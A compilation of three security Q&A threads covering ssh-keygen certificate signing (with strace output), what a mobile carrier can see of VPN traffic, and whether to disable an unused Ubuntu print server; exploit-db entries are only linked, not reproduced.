Would you need to find a way to handle SSH keys on a large number of hosts, you may be interested in this thread, where a solution is proposed to use MonkeySphere which relies on OpenPGP web of trust to add trusted third party concepts including to OpenSSH.

Edit: As appeared in the discussion below, openSSH added a specific feature implementing signing a public key using a third party CA key.

The command given in the question, "ssh-keygen -s ca.key -I dev1 dev1.key" does not work because, as stated in ssh-keygen manpage, dev1.key must be a public key.

However, when the file given as parameter is not a valid public key, before giving up ssh-keygen will check for the existence of a file named {filename}.pub which may contain the expected public key.

In the case of keys generated using ssh-keygen, this *.pub file is automatically generated, so when giving the private key file as parameter ssh-keygen will transparently fallback on the public key file.

However, key files manually generated from SSL certificates did not respect the same convention (the file dev1.key did not have its dev1.key.pub counterpart), and that's what it was failing in this case.

Edit 2: Checking this behavior is as simple as launching the command below

strace ssh-keygen -s ca.key -I dev1 dev1

The behavior I describe appear here:

# First ssh-keygen try to open the file given as parameter:
...
open("dev1", O_RDONLY)                  = 3
fstat(3, {st_mode=S_IFREG|0600, st_size=1671, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f15ec1c0000

# Then it reads its content:
read(3, "-----BEGIN RSA PRIVATE KEY-----\n"..., 4096) = 1671

# Seeing it is not a public key, it closes it:
close(3)                                = 0
munmap(0x7f15ec1c0000, 4096)            = 0

# Then he checks if a file with extension .pub exists:
open("dev1.pub", O_RDONLY)              = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=405, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f15ec1c0000

# If it exists, it reads it content too to check if it is a valid public key file:
read(3, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB"..., 4096) = 405

# Yes it is, so now having read its content, it closes it and proceeds with
# creating the signed version of this public key (file 'dev1-cert.pub'):
close(3)                                = 0
munmap(0x7f15ec1c0000, 4096)            = 0
open("dev1-cert.pub", O_WRONLY|O_CREAT|O_TRUNC, 0644) = 3
...


Is my phone carrier monitoring my traffic? Today I started using a VPN on my phone (nexus 5), and after I switched on mobile data and turned off my WiFi, I received a text message from my carrier offering me roaming packages for Europe (which is where my VPN server is located).

Now how would they even know that? I mean I wasn't physically in Europe and they know I'm connected to a local cell tower.

So my question is: What are they doing/monitoring that they would even see my external VPN IP address? I mean, I'm assuming this was a mistake on their part that is a side effect of some kind of system/mechanism.

My main concern is that they're actually monitoring my outgoing traffic.

I was using openvpn with a server located in France (OVH).

Your carrier certainly sees the target IP address of the packets that you are asking them to transmit. The carrier's job is to, indeed, carry your packets from your phone to the base station, and, from that base station, to route it to the nearest infrastructure link so that it may reach its ultimate destination. In your case, all the packets that you send are tagged with your VPN server's IP address.

If the carrier did not know the destination IP address, networking would simply not work at all. Therefore, it is perfectly normal that the carrier knows that you are talking to some address in Europe. It is part of their duties. Of course, by the magic of VPN, your server's IP address is all that the carrier can see; the true destination address (beyond the VPN) is hidden from them.

Inspection of destination addresses is an integral part of how routers work -- and your carrier is, by definition, your first outgoing router. The carrier will also keep a tally of all the packet sizes, in order to charge you if you go beyond your allocated quota. For cleartext traffic (HTTP), many carriers will also try to operate transparent proxies so that they may make some savings on their own bandwidth; your VPN prevents such proxies from operating. And, of course, your phone tends to use the DNS server provided by the carrier, so any name resolution will go through their hands (again, in your case, they will see the name resolution for your VPN server name, but subsequent name resolutions should be forwarded to your VPN server and won't be seen by the carrier).

Whether the carrier infers from such traffic that you would be interested in options for Europe-based roaming is another question. It is perfectly possible that the text message is purely coincidental. After all, my carrier sends me text messages offering discount prices for hockey and football match tickets, and roaming packages for central America, which are of no interest to me.


Does having an unused Ubuntu print server running pose a security risk? When I browse to my home samba shares (on an Ubuntu server box) from another Linux box I can see the print server running in Nautilus alongside my samba share.

Is it worth disabling it, both for simplicity and security?

The only access I have to the files in my samba share from outside my home network is via SSH/SFTP and that's using key-based auth.

Does the print server piggyback onto the samba protocol and that's why it shows up next to samba on the home net?

As I said in a comment. Is a good practice to disable always unused services. Printer services are as vulnerable as other services. I mean, it depends of the version. Some versions have exploits to gain access in the same way like Samba. You should have your systems updated and everything should be ok.

A couple of examples of vulnerable versions of Samba and print servers:

https://www.exploit-db.com/exploits/36741/
https://www.exploit-db.com/exploits/10/
https://www.exploit-db.com/exploits/7550/

To your question "Does the print server piggyback onto the samba protocol and that's why it shows up next to samba on the home net?", the answer is yes. Like in Microsoft machines, they are related.

Anyway, if from outside there are only access to ssh and sftp and if you have strong passwords and updated versions, you should not have problems. Anyway, nothing is impossible. :)